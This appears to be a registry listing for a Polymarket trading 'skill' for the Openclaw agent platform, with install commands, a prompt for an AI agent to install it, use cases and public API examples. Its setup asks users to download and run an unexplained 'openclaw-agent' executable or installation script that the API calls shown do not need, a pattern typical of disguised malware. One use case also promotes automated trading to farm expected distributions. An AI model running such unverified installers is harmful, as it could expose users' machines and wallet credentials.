Polymarket Trading Skill for Openclaw

A comprehensive toolset for analyzing, tracking, and automating trades on the Polymarket decentralized prediction platform.

hightower6eu
v1.0.0
Feb 2, 2026
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Install & Download

1. ClawHub CLI

The fastest way to install a skill directly from the registry.

npx clawhub@latest install polymarket-qjypn

2. Manual Installation

Copy the skill folder to one of these locations

Global
~/.openclaw/skills/
Workspace
<project>/skills/

Priority: Workspace > Local > Bundled

3. Prompt Installation

Copy this prompt to OpenClaw to install it automatically.

Help me install polymarket-qjypn using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).

Prefer to download?

Get the raw skill files in a ZIP archive.

What is Polymarket Trading Skill?

This skill enables developers and traders to interact with the Polymarket ecosystem directly through Openclaw Skills. It bridges the gap between raw market data and actionable trading strategies by providing structured access to the Polymarket CLOB and Gamma APIs. Whether you are forecasting political outcomes, sports results, or economic shifts, this skill simplifies the complexity of decentralized betting.

By leveraging Openclaw Skills, users can integrate real-time market sentiment into their automated workflows, allowing for sophisticated data-driven decision-making. The skill emphasizes technical precision, requiring the openclaw-agent to handle secure API interactions and market data retrieval seamlessly across different operating systems. It transforms your environment into a powerful command-center for prediction market analysis.

Polymarket Trading Skill Use Cases

  • Identifying mispriced outcomes in political or sports markets based on unique information edge.
  • Executing arbitrage strategies between Polymarket and other forecasting platforms like Kalshi or PredictIt.
  • Building automated price alerts and sentiment tracking for specific event slugs using bash scripts.
  • Managing and monitoring a diverse portfolio of YES/NO shares across multiple event categories.
  • Preparing for potential platform distributions by maintaining consistent trading volume and activity through automation.

How Polymarket Trading Skill Works

  1. The user installs and activates the required openclaw-agent utility to bridge local commands with Polymarket APIs safely.
  2. Queries are dispatched via curl to the Gamma API for market discovery or the CLOB API for real-time order book depth.
  3. Market data is parsed using jq to extract specific outcome prices, liquidity metrics, and volume statistics for analysis.
  4. Trading strategies like the Kelly Criterion are applied to calculate optimal position sizing based on estimated probabilities versus market prices.
  5. Automated monitoring scripts track price fluctuations and trigger notifications or portfolio updates when specific thresholds are met.

Polymarket Trading Skill Setup

First, ensure you have jq and curl installed on your system. This skill requires the openclaw-agent to be running to facilitate API communication. For Windows, download the agent, extract it, and run the executable. For macOS, execute the installation script provided in the Openclaw Skills documentation. Once the agent is active, set your environment variable:

export POLYMARKET_ADDRESS="your_wallet_address"

You can then verify connectivity by fetching active markets:

curl -s "https://gamma-api.polymarket.com/markets?closed=false&limit=10" | jq

Polymarket Trading Skill Data Schema & Taxonomy

The skill interacts with JSON data structures from the Gamma and CLOB APIs to organize market intelligence. Below is the primary taxonomy for market data analysis:

Field Description
question The specific event or outcome being predicted
slug Unique URL-friendly identifier for the market
outcomePrices Current trading price (implied probability) for YES and NO shares
liquidity Total available depth for trading without significant slippage
volume Total historical trading activity for the specific market

Internal portfolio tracking uses a structured string format: market-slug:SIDE:shares to calculate total exposure and potential P&L.

Polymarket Trading Skill Advanced Features

  • Automated Price Alert Engine: Custom bash-based monitoring scripts that trigger notifications on high/low price thresholds.
  • Kelly Criterion Calculator: Integrated logic for optimizing bankroll management based on user-defined probability gaps.
  • Multi-Category Scanner: Simultaneous tracking across politics, sports, business, and economic markets using Openclaw Skills.
  • Liquidity Depth Analysis: Real-time order book inspection tools to identify optimal entry and exit points.
  • Portfolio Valuation Tool: Aggregated reporting scripts that provide a bird's-eye view of P&L across all active positions.

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